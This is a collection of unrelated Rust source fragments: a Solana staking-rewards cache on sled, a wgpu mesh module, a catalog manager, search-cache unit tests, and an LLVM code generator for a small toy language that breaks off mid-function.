var_type: VarType::Function,
name: "hline",
signatures: vec![],
description: DESCRIPTION,
example: EXAMPLES,
returns: "An hline object, that can be used in [fill](#fun-fill)",
arguments: ARGUMENTS,
remarks: "",
links: "[fill](#fun-fill)",
};
vec![fn_doc]
}
|
use crate::rewards::VoterApy;
use anyhow::Context;
use serde::{Deserialize, Serialize};
use solana_sdk::clock::Epoch;
use solana_sdk::pubkey::Pubkey;
use solana_transaction_status::{Reward, Rewards};
use std::collections::HashMap;
pub type PubkeyVoterApyMapping = HashMap<Pubkey, (Pubkey, f64)>;
pub const EPOCH_REWARDS_TREE_NAME: &str = "epoch_rewards";
pub const APY_TREE_NAME: &str = "apy";
pub const EPOCH_LENGTH_TREE_NAME: &str = "epoch_length";
pub const EPOCH_VOTER_APY_TREE_NAME: &str = "epoch_voter_apy";
#[derive(Copy, Clone, Serialize, Deserialize)]
struct ApyTreeKey(Epoch, Pubkey);
#[derive(Copy, Clone, Serialize, Deserialize)]
struct ApyTreeValue(Pubkey, f64);
/// A caching database for vote accounts' credit growth
pub struct RewardsCache {
epoch_rewards_tree: sled::Tree,
apy_tree: sled::Tree,
epoch_length_tree: sled::Tree,
epoch_voter_apy_tree: sled::Tree,
}
impl RewardsCache {
/// Creates a new cache using a tree.
pub fn new(
epoch_rewards_tree: sled::Tree,
apy_tree: sled::Tree,
epoch_length_tree: sled::Tree,
epoch_voter_apy_tree: sled::Tree,
) -> Self {
Self {
epoch_rewards_tree,
apy_tree,
epoch_length_tree,
epoch_voter_apy_tree,
}
}
/// Adds the length of an epoch.
pub fn add_epoch_length(&self, epoch: Epoch, length: f64) -> anyhow::Result<()> {
self.epoch_length_tree
.insert(epoch.to_be_bytes(), bincode::serialize(&length)?)
.context("could not insert epoch length into database")?;
Ok(())
}
/// Returns the length of an epoch
pub fn get_epoch_length(&self, epoch: Epoch) -> anyhow::Result<Option<f64>> {
self.epoch_length_tree
.get(epoch.to_be_bytes())
.context("could not fetch epoch length from database")?
.map(|x| bincode::deserialize(&x))
.transpose()
.context("could not deserialize fetched epoch length")
}
/// Adds a set of rewards of an epoch.
pub fn add_epoch_rewards(&self, epoch: Epoch, rewards: &[Reward]) -> anyhow::Result<()> {
// Insert into database
self.epoch_rewards_tree
.insert(epoch.to_be_bytes(), bincode::serialize(&rewards.to_vec())?)
.context("could not insert epoch rewards into database")?;
Ok(())
}
/// Returns the set of rewards of an epoch.
pub fn get_epoch_rewards(&self, epoch: Epoch) -> anyhow::Result<Option<Rewards>> {
self.epoch_rewards_tree
.get(epoch.to_be_bytes())
.context("could not fetch epoch rewards from database")?
.map(|x| bincode::deserialize(&x))
.transpose()
.context("could not deserialize fetched epoch rewards")
}
/// Adds a set of staking APY data of an epoch.
pub fn add_epoch_data(&self, epoch: Epoch, apys: PubkeyVoterApyMapping) -> anyhow::Result<()> {
for (pubkey, (voter, apy)) in apys {
let key = bincode::serialize(&ApyTreeKey(epoch, pubkey))?;
self.apy_tree
.insert(key, bincode::serialize(&ApyTreeValue(voter, apy))?)
.context("could not insert APY data into database")?;
}
Ok(())
}
/// Returns a set of staking APY data of an epoch
pub fn get_epoch_apy(&self, epoch: Epoch) -> anyhow::Result<Option<PubkeyVoterApyMapping>> {
let mut mapping = PubkeyVoterApyMapping::new();
for kv in self.apy_tree.scan_prefix(bincode::serialize(&epoch)?) {
let (k, v) = kv?;
let k: ApyTreeKey = bincode::deserialize(&k)?;
let v: ApyTreeValue = bincode::deserialize(&v)?;
mapping.insert(k.1, (v.0, v.1));
}
if mapping.is_empty() {
Ok(None)
} else {
Ok(Some(mapping))
}
}
/// Adds an epoch's hashmap of voter APY mapping.
pub fn add_epoch_voter_apy(
&self,
epoch: Epoch,
voter_apys: &HashMap<Pubkey, VoterApy>,
) -> anyhow::Result<()> {
self.epoch_voter_apy_tree
.insert(epoch.to_be_bytes(), bincode::serialize(voter_apys)?)
.context("could not insert voter apy into database")?;
Ok(())
}
/// Gets an epoch's hashmap of voter APY mapping.
pub fn get_epoch_voter_apy(
&self,
epoch: Epoch,
) -> anyhow::Result<Option<HashMap<Pubkey, VoterApy>>> {
self.epoch_voter_apy_tree
.get(epoch.to_be_bytes())
.context("could not fetch epoch voter apy from database")?
.map(|x| bincode::deserialize(&x))
.transpose()
.context("could not deserialize fetched epoch voter apy")
}
}
|
use wgpu::util::DeviceExt;
use crate::{
wgpu_state::WgpuState,
mesh::Pipeline,
static_data::MeshData,
asset::{Handle, Assets},
texture::Texture,
};
#[repr(C)]
#[derive(Copy, Clone, Debug, bytemuck::Pod, bytemuck::Zeroable)]
pub struct Vertex {
position: [f32; 3],
tex_coords: [f32; 2],
}
impl Vertex {
pub fn desc<'a>() -> wgpu::VertexBufferDescriptor<'a> {
use std::mem;
wgpu::VertexBufferDescriptor {
stride: mem::size_of::<Vertex>() as wgpu::BufferAddress,
step_mode: wgpu::InputStepMode::Vertex,
attributes: &[
wgpu::VertexAttributeDescriptor {
offset: 0,
shader_location: 0,
format: wgpu::VertexFormat::Float3,
},
wgpu::VertexAttributeDescriptor {
offset: mem::size_of::<[f32; 3]>() as wgpu::BufferAddress,
shader_location: 1,
format: wgpu::VertexFormat::Float2,
},
],
}
}
}
#[derive(Debug)]
pub struct Mesh {
pub vertex_buffer: wgpu::Buffer,
pub index_buffer: wgpu::Buffer,
pub num_indices: u32,
pub texture: Handle<Texture>,
pub texture_bind_group: wgpu::BindGroup,
}
impl Mesh {
pub fn new(
state: &WgpuState,
pipeline: &Pipeline,
textures: &mut Assets<Texture>,
mesh_data: &MeshData
) -> Self {
let mut vertex_data = vec![0.0; mesh_data.vertices.len() * 5];
for i in 0..mesh_data.vertices.len() {
vertex_data[i * 5] = mesh_data.vertices[i].x;
vertex_data[i * 5 + 1] = mesh_data.vertices[i].y;
vertex_data[i * 5 + 2] = 0.0;
vertex_data[i * 5 + 3] = mesh_data.vertices[i].u;
vertex_data[i * 5 + 4] = 1.0 - mesh_data.vertices[i].v;
}
let vertex_buffer = state.device.create_buffer_init(&wgpu::util::BufferInitDescriptor {
label: Some("Vertex Buffer"),
contents: bytemuck::cast_slice(&vertex_data),
usage: wgpu::BufferUsage::VERTEX,
});
let index_buffer = state.device.create_buffer_init(&wgpu::util::BufferInitDescriptor {
label: Some("Index Buffer"),
contents: bytemuck::cast_slice(&mesh_data.triangles),
usage: wgpu::BufferUsage::INDEX,
});
let num_indices = mesh_data.triangles.len() as u32 * 3;
let texture = {
let texture_path = std::path::Path::new(env!("OUT_DIR")).join("data").join(mesh_data.texture.clone());
Texture::get_or_load(textures, &state.device, &state.queue, texture_path).unwrap()
};
let texture_bind_group = {
let texture = textures.get(&texture).unwrap();
state.device.create_bind_group(&wgpu::BindGroupDescriptor {
layout: &pipeline.texture_bind_group_layout,
entries: &[
wgpu::BindGroupEntry {
binding: 0,
resource: wgpu::BindingResource::TextureView(&texture.view),
},
wgpu::BindGroupEntry {
binding: 1,
resource: wgpu::BindingResource::Sampler(&texture.sampler),
},
],
label: Some("diffuse_bind_group"),
})
};
Self {
vertex_buffer,
index_buffer,
num_indices,
texture,
texture_bind_group,
}
}
}
|
// Copyright 2021 Datafuse Labs.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
use std::sync::Arc;
use common_base::base::GlobalInstance;
use common_exception::ErrorCode;
use common_exception::Result;
use dashmap::mapref::entry::Entry;
use dashmap::DashMap;
use super::Catalog;
pub const CATALOG_DEFAULT: &str = "default";
pub struct CatalogManager {
pub catalogs: DashMap<String, Arc<dyn Catalog>>,
}
impl CatalogManager {
pub fn get_catalog(&self, catalog_name: &str) -> Result<Arc<dyn Catalog>> {
self.catalogs
.get(catalog_name)
.as_deref()
.cloned()
.ok_or_else(|| ErrorCode::BadArguments(format!("no such catalog {}", catalog_name)))
}
pub fn instance() -> Arc<CatalogManager> {
GlobalInstance::get()
}
pub fn insert_catalog(
&self,
catalog_name: &str,
catalog: Arc<dyn Catalog>,
if_not_exists: bool,
) -> Result<()> {
// NOTE:
//
// Concurrent write may happen here, should be carefully dealt with.
// The problem occurs when the entry is vacant:
//
// Using `DashMap::entry` can occupy the write lock on the entry,
// ensuring a safe concurrent writing.
//
// If getting with `DashMap::get_mut`, it will unlock the entry and return `None` directly.
// This makes a safe concurrent write hard to implement.
match self.catalogs.entry(catalog_name.to_string()) {
Entry::Occupied(_) => {
if if_not_exists {
Ok(())
} else {
Err(ErrorCode::CatalogAlreadyExists(format!(
"Catalog {} already exists",
catalog_name
)))
}
}
Entry::Vacant(v) => {
v.insert(catalog);
Ok(())
}
}
}
}
|
use crate::collections::FnCache;
use fn_search_backend_db::models::Function;
use std::collections::HashSet;
#[test]
fn build_cache_for_fn_ref() {
let v: Vec<&Function> = Vec::new();
let _: FnCache = v.into_iter().collect();
}
#[test]
fn build_cache_for_fn() {
let v: Vec<Function> = Vec::new();
let _: FnCache = v.into_iter().collect();
}
lazy_static! {
static ref TEST_FNS: [Function; 6] = [
Function {
id: 0,
repo_id: 0,
name: String::from("derpyfn"),
type_signature: String::from("Int -> Int"),
},
Function {
id: 1,
repo_id: 0,
name: String::from("whatever"),
type_signature: String::from("String -> Int"),
},
Function {
id: 2,
repo_id: 1,
name: String::from("lol"),
type_signature: String::from("Int -> Bool"),
},
Function {
id: 3,
repo_id: 1,
name: String::from("zxc"),
type_signature: String::from("Bool -> Bool"),
},
Function {
id: 4,
repo_id: 1,
name: String::from("fef"),
type_signature: String::from("Int -> String"),
},
Function {
id: 5,
repo_id: 0,
name: String::from("rer"),
type_signature: String::from("String -> Int"),
},
];
}
fn setup_test_cache() -> FnCache {
let mut v: Vec<&Function> = Vec::new();
for f in TEST_FNS.iter() {
v.push(f);
}
v.into_iter().collect()
}
#[test]
fn build_works_for_functions() {
setup_test_cache();
}
#[test]
fn search_gives_values() {
let c = setup_test_cache();
let res = c.search("String -> Int", 10, None);
assert!(res.is_some());
let res = res.unwrap();
assert_eq!(res.len(), 2);
let res: HashSet<i64> = res.into_iter().map(|v| *v).collect();
assert_eq!(res, vec![1, 5].into_iter().collect());
}
#[test]
fn search_gives_value() {
let c = setup_test_cache();
let res = c.search("Bool -> Bool", 10, None);
assert!(res.is_some());
let res = res.unwrap();
assert_eq!(res.len(), 1);
let res: HashSet<i64> = res.into_iter().map(|v| *v).collect();
assert_eq!(res, vec![3].into_iter().collect());
}
#[test]
fn search_gives_none_on_invalid_start() {
let c = setup_test_cache();
let res = c.search("String -> Int", 10, Some(2));
assert!(res.is_none());
}
#[test]
fn search_gives_some_start_index() {
let c = setup_test_cache();
let res = c.search("String -> Int", 10, Some(1));
assert!(res.is_some());
let res = res.unwrap();
assert_eq!(res.len(), 1);
let res: HashSet<i64> = res.into_iter().map(|v| *v).collect();
assert_eq!(res, vec![5].into_iter().collect());
}
#[test]
fn search_gives_only_num() {
let c = setup_test_cache();
let res = c.search("String -> Int", 1, None);
assert!(res.is_some());
let res = res.unwrap();
assert_eq!(res.len(), 1);
let res: HashSet<i64> = res.into_iter().map(|v| *v).collect();
assert_eq!(res, vec![1].into_iter().collect());
}
#[test]
fn search_gives_only_num_with_start() {
let c = setup_test_cache();
let res = c.search("String -> Int", 1, Some(1));
assert!(res.is_some());
let res = res.unwrap();
assert_eq!(res.len(), 1);
let res: HashSet<i64> = res.into_iter().map(|v| *v).collect();
assert_eq!(res, vec![5].into_iter().collect());
}
#[test]
fn search_gives_none_on_bad_key() {
let c = setup_test_cache();
let res = c.search("String -> In", 10, None);
assert!(res.is_none());
}
#[test]
fn suggest_gives_suggestion() {
let c = setup_test_cache();
let res = c.suggest("String -> In", 10);
assert!(res.is_some());
let res = res.unwrap();
assert_eq!(res.len(), 1);
assert_eq!(res, vec!["String -> Int"]);
}
#[test]
fn suggest_gives_suggestions() {
let c = setup_test_cache();
let res = c.suggest("In", 10);
assert!(res.is_some());
let res = res.unwrap();
assert_eq!(res.len(), 3);
println!("{:?}", res);
let sig_map: HashSet<&str> = res.into_iter().collect();
let expected: HashSet<&str> = vec!["Int -> String", "Int -> Bool", "Int -> Int"]
.into_iter()
.collect();
assert_eq!(sig_map, expected);
}
#[test]
fn suggest_gives_x_suggestions() {
let c = setup_test_cache();
let res = c.suggest("In", 2);
assert!(res.is_some());
let res = res.unwrap();
assert_eq!(res.len(), 2);
}
#[test]
fn suggest_gives_none() {
let c = setup_test_cache();
let res = c.suggest("Ink", 10);
assert!(res.is_none());
}
|
extern crate llvm_sys as llvm;
extern crate libc;
use std::ptr;
use std::ffi;
use std::borrow::Cow;
use self::llvm::prelude::{LLVMContextRef, LLVMModuleRef, LLVMBuilderRef, LLVMValueRef, LLVMTypeRef};
use self::llvm::core::*;
use self::llvm::target::*;
use self::llvm::target_machine::*;
use std::collections::{HashMap};
use std::mem;
use std::any::{Any};
use syntax::ast::{Block, Expr, Decl, TType, OptionalTypeExprTupleList};
use syntax::ast::Expr::*;
use syntax::ptr::{B};
use link::link;
use helpers::*;
use symbol::*;
//FIXME pub is only of unit testing
pub type OptionalSymbolInfo = Option<Box<Any>>;
pub struct Context<'a>{
context : LLVMContextRef,
pub module : LLVMModuleRef,
builder : LLVMBuilderRef,
//FIXME pub is only of unit testing
pub sym_tab : Vec<(Cow<'a, str>, OptionalSymbolInfo)>,
bb_stack : Vec<*mut llvm::LLVMBasicBlock>,
proto_map : HashMap<&'a str, bool>
}
impl<'a> Context<'a>{
fn new(module_name : &str) -> Self{
unsafe{
let llvm_context = LLVMContextCreate();
let llvm_module = LLVMModuleCreateWithNameInContext(c_str_ptr!(module_name),
llvm_context);
let builder = LLVMCreateBuilderInContext(llvm_context);
let sym_tab = Vec::new();
let bb_stack = Vec::new();
let proto_map = HashMap::new();
Context {
context : llvm_context,
module : llvm_module,
builder : builder,
sym_tab : sym_tab,
bb_stack : bb_stack,
proto_map : proto_map
}
}
}
pub fn dump(&self){
unsafe{
LLVMDumpModule(self.module);
}
}
}
impl<'a> Drop for Context<'a>{
fn drop(&mut self){
unsafe{
LLVMDisposeBuilder(self.builder);
LLVMDisposeModule(self.module);
LLVMContextDispose(self.context);
}
}
}
//TODO move these in a seperate file
type IRBuildingResult = Result<LLVMValueRef, String>;
trait IRBuilder{
fn codegen(&self, ctxt : &mut Context) -> IRBuildingResult;
}
fn std_functions_call_factory(fn_name : &str, args : &OptionalTypeExprTupleList, ctxt : &mut Context) -> Option<LLVMValueRef>{
unsafe{
match fn_name {
"print" =>{
debug_assert!(args.is_some(), "No args passed to print()");
let lst = args.as_ref().unwrap();
assert_eq!(lst.len(), 1);
debug_assert!(lst.len() == 1, "One arg should be passed to print()");
let (arg_type, arg_expr) = (&lst[0].0, &lst[0].1);
debug_assert!(*arg_type == TType::TString || *arg_type == TType::TInt32,
format!("Arg type of print is {0}", arg_type));
let print_function : LLVMValueRef;
//check if we already have a prototype defined
if !ctxt.proto_map.contains_key("printf"){
let print_ty = LLVMIntTypeInContext(ctxt.context, 32);
let mut pf_type_args_vec = vec![LLVMPointerType(LLVMIntTypeInContext(ctxt.context, 8), 0)];
let proto = LLVMFunctionType(print_ty, pf_type_args_vec.as_mut_ptr(), 1, 1);
print_function = LLVMAddFunction(ctxt.module,
c_str_ptr!("printf"),
proto);
ctxt.proto_map.insert("printf", true);
}
else{
print_function = LLVMGetNamedFunction(ctxt.module, c_str_ptr!("printf"));
}
let mut pf_args = Vec::new();
let mut args_count = 1;
if *arg_type == TType::TString {
let gstr = arg_expr.codegen(ctxt);
pf_args.push(gstr.unwrap());
}
if *arg_type == TType::TInt32{
args_count = 2;
let gstr = LLVMBuildGlobalStringPtr(ctxt.builder,
c_str_ptr!("%d\n"),
c_str_ptr!(".str"));
pf_args.push(gstr);
let l = match &arg_expr.codegen(ctxt){
&Ok(val) => val,
&Err(_) => panic!("Error occurred")
};
pf_args.push(l);
}
Some(LLVMBuildCall(ctxt.builder,
print_function,
pf_args.as_mut_ptr(),
args_count,
c_str_ptr!("call")))
},
"size" => {
debug_assert!(args.is_some(), "No args passed to size()");
let lst = args.as_ref().unwrap();
debug_assert!(lst.len() == 1, "One arg should be passed to size()");
let (arg_type, arg_expr) = (&lst[0].0, &lst[0].1);
debug_assert!(*arg_type == TType::TString, format!("Arg type of size is {0}", arg_type));
let size_function : LLVMValueRef;
//check if we already have a prototype defined
if !ctxt.proto_map.contains_key("size"){
let size_ty = LLVMIntTypeInContext(ctxt.context, 32);
let mut size_type_args_vec = vec![LLVMPointerType(LLVMIntTypeInContext(ctxt.context, 8), 0)];
let proto = LLVMFunctionType(size_ty, size_type_args_vec.as_mut_ptr(), 1, 0);
size_function = LLVMAddFunction(ctxt.module,
c_str_ptr!("strlen"),
proto);
ctxt.proto_map.insert("size", true);
}
else{
size_function = LLVMGetNamedFunction(ctxt.module, c_str_ptr!("strlen"));
}
let mut size_args = Vec::new();
let args_count = 1;
let gstr = arg_expr.codegen(ctxt);
size_args.push(gstr.unwrap());
Some(LLVMBuildCall(ctxt.builder,
size_function,
size_args.as_mut_ptr(),
args_count,
c_str_ptr!("call")))
},
"not" => {
debug_assert!(args.is_some(), "No args passed to not()");
let lst = args.as_ref().unwrap();
debug_assert!(lst.len() == 1, "One arg should be passed to not()");
let (arg_type, arg_expr) = (&lst[0].0, &lst[0].1);
debug_assert!(*arg_type == TType::TString || *arg_type == TType::TInt32);
let not_function = LLVMGetNamedFunction(ctxt.module, c_str_ptr!("not"));
let mut not_args= Vec::new();
let l = match &arg_expr.codegen(ctxt){
&Ok(val) => val,
&Err(ref err) => panic!("Error occurred - {0}", err)
};
not_args.push(l);
Some(LLVMBuildCall(ctxt.builder,
not_function,
not_args.as_mut_ptr(),
1,
c_str_ptr!("call")))
},
"exit" =>{
debug_assert!(args.is_some(), "No args passed to exit()");
let lst = args.as_ref().unwrap();
debug_assert!(lst.len() == 1, "One arg should be passed to exit()");
let (arg_type, arg_expr) = (&lst[0].0, &lst[0].1);
debug_assert!(*arg_type == TType::TInt32, format!("Arg type of exit is {0}", arg_type));
let exit_function : LLVMValueRef;
if !ctxt.proto_map.contains_key("exit"){
let exit_ty = LLVMVoidTypeInContext(ctxt.context);
let mut exit_type_args_vec = vec![LLVMIntTypeInContext(ctxt.context, 32)];
let proto = LLVMFunctionType(exit_ty, exit_type_args_vec.as_mut_ptr(), 1, 0);
exit_function = LLVMAddFunction(ctxt.module,
c_str_ptr!("exit"),
proto);
ctxt.proto_map.insert("exit", true);
}
else{
exit_function = LLVMGetNamedFunction(ctxt.module, c_str_ptr!("exit"));
}
let mut exit_args = Vec::new();
let arg = arg_expr.codegen(ctxt);
exit_args.push(arg.unwrap());
Some(LLVMBuildCall(ctxt.builder,
exit_function,
exit_args.as_mut_ptr(),
1,
c_str_ptr!("call")))
},
"ord" => {
debug_assert!(args.is_some(), "No args passed to ord()");
let lst = args.as_ref().unwrap();
debug_assert!(lst.len() == 1, "One arg should be passed to ord()");
let (arg_type, arg_expr) = (&lst[0].0, &lst[0].1);
debug_assert!(*arg_type == TType::TString, format!("Arg type of ord is {0}", arg_type));
let ord_function : LLVMValueRef;
if !ctxt.proto_map.contains_key("ord"){
let ord_ty = LLVMIntTypeInContext(ctxt.context, 32);
let mut ord_type_args_vec = vec![LLVMPointerType(LLVMIntTypeInContext(ctxt.context, 8), 0)];
let proto = LLVMFunctionType(ord_ty, ord_type_args_vec.as_mut_ptr(), 1, 0);
ord_function = LLVMAddFunction(ctxt.module,
c_str_ptr!("atoi"),
proto);
ctxt.proto_map.insert("ord", true);
}
else{
ord_function = LLVMGetNamedFunction(ctxt.module, c_str_ptr!("atoi"));
}
let mut ord_args = Vec::new();
let gstr = arg_expr.codegen(ctxt);
ord_args.push(gstr.unwrap());
Some(LLVMBuildCall(ctxt.builder,
ord_function,
ord_args.as_mut_ptr(),
1,
c_str_ptr!("call")))
},
"chr" => {
debug_assert!(args.is_some(), "No args passed to chr()");
let lst = args.as_ref().unwrap();
debug_assert!(lst.len() == 1, "One arg should be passed to chr()");
let (arg_type, arg_expr) = (&lst[0].0, &lst[0].1);
debug_assert!(*arg_type == TType::TInt32);
let chr_function = LLVMGetNamedFunction(ctxt.module, c_str_ptr!("chr"));
let mut chr_args= Vec::new();
let l = match &arg_expr.codegen(ctxt){
&Ok(val) => val,
&Err(ref err) => panic!("Error occurred - {0}", err)
};
chr_args.push(l);
Some(LLVMBuildCall(ctxt.builder,
chr_function,
chr_args.as_mut_ptr(),
1,
c_str_ptr!("call")))
},
_ => {None}
}
}
}
fn get_llvm_type_for_ttype(ty : &TType, ctxt : &mut Context) -> LLVMTypeRef{
unsafe{
match ty {
&TType::TVoid | &TType::TRecord => LLVMVoidTypeInContext(ctxt.context),
&TType::TInt32 => LLVMIntTypeInContext(ctxt.context, 32),
&TType::TString => LLVMPointerType(LLVMIntTypeInContext(ctxt.context, 8), 0),
//FIXME remove array from here
&TType::TArray(_) => LLVMArrayType(LLVMIntTypeInContext(ctxt.context, 32), 4),
_ => panic!("Other TTypes not mapped yet to the corresponding LLVM types")
}
}
}
impl IRBuilder for Expr{
fn codegen(&self, ctxt : &mut Context) -> IRBuildingResult{
macro_rules! build_binary_instrs{
($fun : ident, $e1:ident, $e2:ident, $s : expr) => {{
let ev1 = try!($e1.codegen(ctxt));
let ev2 = try!($e2.codegen(ctxt));
Ok($fun(ctxt.builder, ev1, ev2, $s.as_ptr() as *const i8))
}}
}
macro_rules! build_relational_instrs{
($fun : ident, $pred : path, $e1:ident, $e2:ident, $s : expr) => {{
let ev1 = try!($e1.codegen(ctxt));
let ev2 = try!($e2.codegen(ctxt));
Ok($fun(ctxt.builder, $pred, ev1, ev2, $s.as_ptr() as *const i8))
}}
}
unsafe{
match self{
&Expr::NumExpr(ref i) => {
let ty = LLVMIntTypeInContext(ctxt.context, 32);
Ok(LLVMConstInt(ty, *i as u64, 0))
},
&Expr::StringExpr(ref s) => {
Ok(LLVMBuildGlobalStringPtr(ctxt.builder,
c_str_ptr!(&*(s.clone())),
c_str_ptr!(".str")))
},
&Expr::AddExpr(ref e1, ref e2) => {
build_binary_instrs!(LLVMBuildAdd, e1, e2, "add_tmp")
},
&Expr::SubExpr(ref e1, ref e2) => {
build_binary_instrs!(LLVMBuildSub, e1, e2, "sub_tmp")
},
&Expr::MulExpr(ref e1, ref e2) => {
build_binary_instrs!(LLVMBuildMul, e1, e2, "mul_tmp")
},
&Expr::DivExpr(ref e1, ref e2) => {
build_binary_instrs!(LLVMBuildSDiv, e1, e2, "div_tmp")
},
&Expr::EqualsExpr(ref e1, ref e2) => {
build_relational_instrs!(LLVMBuildICmp, llvm::LLVMIntPredicate::LLVMIntEQ, e1, e2, "eqcmp_tmp")
},
&Expr::LessThanExpr(ref e1, ref e2) => {
build_relational_instrs!(LLVMBuildICmp, llvm::LLVMIntPredicate::LLVMIntSLT, e1, e2, "lecmp_tmp")
},
&Expr::GreaterThanExpr(ref e1, ref e2) => {
build_relational_instrs!(LLVMBuildICmp, llvm::LLVMIntPredicate::LLVMIntSGT, e1, e2, "gtcmp_tmp")
},
&Expr::NotEqualsExpr(ref e1, ref e2) => {
build_relational_instrs!(LLVMBuildICmp, llvm::LLVMIntPredicate::LLVMIntNE, e1, e2, "necmp_tmp")
},
&Expr::IdExpr(ref id) => {
let mut sym = &None;
get_symbol(&mut sym, id, &ctxt.sym_tab);
if sym.is_none(){
panic!(format!("Invalid reference to variable '{0}'", *id));
}
let _optional = sym.as_ref().unwrap().downcast_ref::<Var>();
if _optional.is_some(){
Ok(LLVMBuildLoad(ctxt.builder, _optional.as_ref().unwrap().alloca_ref(), c_str_ptr!(&*id.clone())))
}
else{
panic!(format!("Invalid reference to variable '{0}'. Different binding found.", *id));
}
},
&Expr::AssignExpr(ref lhs, ref rhs) => {
let val = try!(rhs.codegen(ctxt));
match &**lhs{
&Expr::SubscriptExpr(ref id, ref idx_expr) => {
let elem_ptr = try!(get_gep(id, idx_expr, ctxt));
Ok(LLVMBuildStore(ctxt.builder, val, elem_ptr))
},
&Expr::IdExpr(ref id) => {
//let load = try!(lhs.codegen(ctxt));
let mut sym = &None;
get_symbol(&mut sym, id, &ctxt.sym_tab);
if sym.is_none(){
panic!(format!("Invalid reference to variable '{0}'", *id));
}
let _optional = sym.as_ref().unwrap().downcast_ref::<Var>();
if _optional.is_some(){
Ok(LLVMBuildStore(ctxt.builder, val, _optional.as_ref().unwrap().alloca_ref()))
}
else{
panic!(format!("Invalid reference to variable '{0}'. Different binding found.", *id));
}
},
_ => {panic!("Need to cover fields");}
}
},
&Expr::SubscriptExpr(ref id, ref subscript_expr) => {
let elem_ptr = try!(get_gep(id, subscript_expr, ctxt));
Ok(LLVMBuildLoad(ctxt.builder, elem_ptr, c_str_ptr!(&*id.clone())))
},
&Expr::IfThenElseExpr(ref conditional_expr, ref then_expr, ref else_expr) => {
let cond_code = try!(conditional_expr.codegen(ctxt));
let zero = LLVMConstInt(LLVMIntTypeInContext(ctxt.context, 32), 0u64, 0);
let if_cond = LLVMBuildICmp(ctxt.builder, llvm::LLVMIntPredicate::LLVMIntNE, cond_code, zero, c_str_ptr!("ifcond"));
let bb = LLVMGetInsertBlock(ctxt.builder);
let function = LLVMGetBasicBlockParent(bb);
let then_block = LLVMAppendBasicBlockInContext(ctxt.context, function, c_str_ptr!("thencond"));
let else_block = LLVMAppendBasicBlockInContext(ctxt.context, function, c_str_ptr!("elsecond"));
let ifcont_block = LLVMAppendBasicBlockInContext(ctxt.context, function, c_str_ptr!("ifcont"));
LLVMBuildCondBr(ctxt.builder, if_cond, then_block, else_block);
LLVMPositionBuilderAtEnd(ctxt.builder, then_block);
let then_code = try!(then_expr.codegen(ctxt));
LLVMBuildBr(ctxt.builder, ifcont_block);
let then_end = LLVMGetInsertBlock(ctxt.builder);
LLVMPositionBuilderAtEnd(ctxt.builder, else_block);
let else_code = try!(else_expr.codegen(ctxt));
LLVMBuildBr(ctxt.builder, ifcont_block);
let else_end = LLVMGetInsertBlock(ctxt.builder);
LLVMPositionBuilderAtEnd(ctxt.builder, ifcont_block);
let phi_node = LLVMBuildPhi(ctxt.builder, LLVMIntTypeInContext(ctxt.context, 32), c_str_ptr!("ifphi"));
LLVMAddIncoming(phi_node, vec![then_code].as_mut_ptr(), vec![then_end].as_mut_ptr(), 1);
LLVMAddIncoming(phi_node, vec![else_code].as_mut_ptr(), vec![else_end].as_mut_ptr(), 1);
Ok(phi_node)
},
&Expr::ForExpr(ref id, ref from, ref to, ref do_expr) => {
assert!(!id.is_empty(), "id cannot be empty");
let from_code = try!(from.codegen(ctxt));
let bb = LLVMGetInsertBlock(ctxt.builder);
let function = LLVMGetBasicBlockParent(bb);
//i := ...
let from_var = LLVMBuildAlloca(ctxt.builder, LLVMIntTypeInContext(ctxt.context, 32), c_str_ptr!(&*id.clone()));
LLVMBuildStore(ctxt.builder, from_code, from_var);
let preloop_block = LLVMAppendBasicBlockInContext(ctxt.context, function, c_str_ptr!("preloop"));
LLVMBuildBr(ctxt.builder, preloop_block);
LLVMPositionBuilderAtEnd(ctxt.builder, preloop_block);
let to_code = try!(to.codegen(ctxt));
let zero = LLVMConstInt(LLVMIntTypeInContext(ctxt.context, 32), 0 as u64, 0);
let end_cond = LLVMBuildICmp(ctxt.builder,
llvm::LLVMIntPredicate::LLVMIntNE,
LLVMBuildLoad(ctxt.builder, from_var, c_str_ptr!(&*id.clone())),
to_code,
c_str_ptr!("loopcond"));
let afterloop_block = LLVMAppendBasicBlockInContext(ctxt.context, function, c_str_ptr!("afterloop"));
let loop_block = LLVMAppendBasicBlockInContext(ctxt.context, function, c_str_ptr!("loop"));
LLVMBuildCondBr(ctxt.builder, end_cond, loop_block, afterloop_block);
LLVMPositionBuilderAtEnd(ctxt.builder, loop_block);
let do_expr_code = try!(do_expr.codegen(ctxt));
//stepping
let cur_value = LLVMBuildLoad(ctxt.builder, from_var, c_str_ptr!(&*id.clone()));
let next_value = LLVMBuildAdd(ctxt.builder, cur_value,
LLVMConstInt(LLVMIntTypeInContext(ctxt.context, 32), 1 as u64, 0),
c_str_ptr!("nextvar"));
LLVMBuildStore(ctxt.builder, next_value, from_var);
LLVMBuildBr(ctxt.builder, preloop_block);
LLVMPositionBuilderAtEnd(ctxt.builder, afterloop_block);
//FIXME remove this
Ok(zero)
},
//&Expr::WhileExpr(ref conditional_expr, ref body) => {
//let cond_code = try!(conditional_expr.codegen(ctxt));
////},
&Expr::CallExpr(ref fn_name, ref optional_args) => {
//FIXME instead of directly passing to the factory
//fn_name can be checked in a map that records names of std functions
match std_functions_call_factory(&*fn_name, optional_args, ctxt) {
Some(call) => Ok(call), //intrinsic function
_ => { //user-defined function
//user defined function call
let mut pf_args = Vec::new();
//FIXME pass args if present in the call
if optional_args.is_some() {
for &(_, ref e) in optional_args.as_ref().unwrap(){
let c = try!(e.codegen(ctxt));
pf_args.push(c);
}
}
let mut sym = &None;
get_symbol(&mut sym, fn_name, &ctxt.sym_tab);
if sym.is_none(){
panic!(format!("Call to '{0}' not found", fn_name));
}
let _optional = sym.as_ref().unwrap().downcast_ref::<Function>();
if _optional.is_some(){
Ok(LLVMBuildCall(ctxt.builder,
_optional.as_ref().unwrap().value_ref(),
pf_args.as_mut_ptr(),
pf_args.len() as u32,
c_str_ptr!("")))
}
else{
panic!(format!("Invalid reference to function '{0}'. Different binding found.", *fn_name));
}
}
}
},
&Expr::SeqExpr(ref opt_list) => {
let mut ret_val = Err(String::from(""));
if opt_list.is_some(){
